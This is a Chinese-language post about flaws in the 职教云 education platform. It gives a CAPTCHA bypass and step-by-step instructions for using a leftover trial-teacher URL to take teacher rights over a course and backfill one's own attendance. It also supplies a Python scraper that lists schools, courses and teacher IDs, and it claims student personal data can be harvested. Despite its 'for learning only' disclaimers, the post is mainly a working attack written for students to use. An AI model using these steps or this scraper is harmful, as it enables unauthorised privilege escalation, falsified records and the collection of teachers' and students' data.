智慧职教bug 现在 第1张看前甜点智慧职教bug 现在 第2张

READERME:请不要随意修改老师发布的内容及自己同学或别的同学的任何信息,且行且珍惜
特殊情况下给自己补签足够,谨慎操作使用,你们是祖国的希望和未来,正值花季,你们虽然掌握了一定的生活常识,有了一定的独立意识,普遍希望得到社会的支持、理解、尊重和赞扬,以体现自己在社会中的价值,不要随意炫耀,不得参与任何信息的泄露,仅供学习交流。

先说一个小发现:职教云其实可以不输入验证码登录,验证码那里输入空格就行,写了给小脚本在油猴 https://greasyfork.org/zh-CN/scripts/404242 写的不好请见谅。

最近看到很多补签的帖子,以及拿教师权限,看着挺麻烦的,于是花了几天时间分析了一下,职教云确实不安全,能获取到加入职教云的学校,学校的课程,课程的老师,老师的学生,学生的信息。
除了不能拿到学生密码和教师密码之外,其他基本都能拿到,包括邮箱,扣扣,学号,姓名,班级,学校等。于是用python做了一个爬虫,证明确实有效(已反馈职教云,不参与任何违法违规,内容未保留仅供学习)


智慧职教bug 现在 第3张开始智慧职教bug 现在 第4张

-------------------------------------简单演示一个教师权限(无需抓包及注册教师账号)---------------------------------------------------
为什么不需要抓包和注册教师账号,可能是当时程序员开发的时候遗留下来的一些账号吧(里面包括体验教师和体验学生,体验学生用处不大就不做演示)。


  • 准备工作:

  • 1、能上网的浏览器

  • 2、自己的职教云账号





  • 打开浏览器进入-->  https://zjy2.icve.com.cn/   <--登录自己的账号登录完是这样的

    智慧职教bug 现在 第5张 



  • 账号登录了别忘了最重要的一件事:点开你自己需要修改的课程,比如我的课(记住框出来的那个courseOpenId就是pp开头那个)

    智慧职教bug 现在 第6张 


  • 留着上面这个页面,不关闭就行-->然后新开一个标签页

    智慧职教bug 现在 第7张 




    然后输入这个地址 https://zjy2.icve.com.cn/common/login/trialTeacher 你会发现出现了

    智慧职教bug 现在 第8张
  • 回到第一页你的登录页面(就是第一步那个地方),把上面的地址换成 https://zjy2.icve.com.cn/teacher/homePage/homePage.html (其实在本窗口任何页都可以,不必纠结,那就是官方留下的体验教师账号)你会看到下面的内容

    智慧职教bug 现在 第9张智慧职教bug 现在 第10张 



  • 看完了上面两张图,你接下来把上面课程的courseOpenId替换成第二步你自己的courseOpenId就是pp开头那个,然后回车,你就会发现进入了。

    智慧职教bug 现在 第11张 



  • 进入智慧你就有教师的权限了,别随意修改,补签完自己的就睡觉去吧,别乱动老师的东西和同学的东西





智慧职教bug 现在 第12张扩展智慧职教bug 现在 第13张
智慧职教bug 现在 第14张这是一些正规的数据,能够找到课程,已提交职教云官方,虽然这些东西并没有什么用,仅供学习,智慧树有个接口也能够得到所有学校,不过也没什么用。


体验教师URL:https://zjy2.icve.com.cn/common/login/trialTeacher
体验学生URL:https://zjy2.icve.com.cn/common/login/trialStudent

智慧职教bug 现在 第15张智慧职教bug 现在 第16张 



智慧职教bug 现在 第17张被和谐后续智慧职教bug 现在 第18张

  • 帖子刚开没多久方法就被和谐了,其实不用担心,那只是一个用官方的账号进行操作,其他方法可以自己想象,能证明方法这种方法还是有用的,未被修复。




既然被和谐了,下面来点有用的吧,能够快速获取教师ID:


[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import json
import requests
 
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
}
 
list_data = []
 
 
def getData():
    '''
    获取加入职教云的学校
    :return:
    '''
    url = "https://www.icve.com.cn/commonUser/portal/register/getUnit"
    result = requests.post(url=url, headers=headers)
    json_data = json.loads(result.content)
    for i in json_data["list"]:
        list_data.append(i)
 
 
def getTea(Id, scoreName):
    '''
    获取学校的老师课程
    :param Id: 学校ID
    :return:
    '''
    url = "https://zjy2.icve.com.cn/dzx/portalApi/coursecenter/getCourseList?schoolId={}&page=1&pageSize=10000".format(
        Id)
    result = requests.get(url=url, headers=headers)
    # 把json字符串转换为python的数据格式
    data = json.loads(result.text)
    # print(data)
    # 课程数
    print("总共", data["pagination"]["totalCount"], "门课程")
    flag = True
    for i in data["list"]:
        # 获取课程教师
        teacher = i["mainTeacherName"]
        # 教师ID
        teacherID = i["mainTeacherId"]
        # 获取课程名称
        course = i["courseName"]
        # 获取课程id
        Id = i["Id"]
        # 获取加入课程的人数
        numStu = i["stuCount"]
 
        if scoreName in course:
            flag = False
            print("课程名称:", course, "\t教师:", teacher, "\t教师ID:", teacherID, "\t课程人数:", numStu, "\t课程ID:", Id)
    if flag:
        print("未查询到课程")
        exit(0)
 
 
if __name__ == '__main__':
    print("---------->正在获取学校列表<----------")
    getData()
    print("---------->学校列表获取完成<----------")
    schName = input("请输入需要查询的学校名称(回车查询所有,可使用关键字如:北京):")
    flag = True
    for i in list_data:
        if schName in i["Name"]:
            flag = False
            # 找到学校
            print("学校名称--->", i["Name"], "\t\t\t学校ID---->", i["Id"])
    if flag:
        print("未查询到学校")
        exit(0)
 
    # 找课程
    schoolID = input("请输入学校ID(必填):")
    courseName = input("请输入课程名称(回车查询所有):")
    getTea(schoolID, courseName)


智慧职教bug 现在 第19张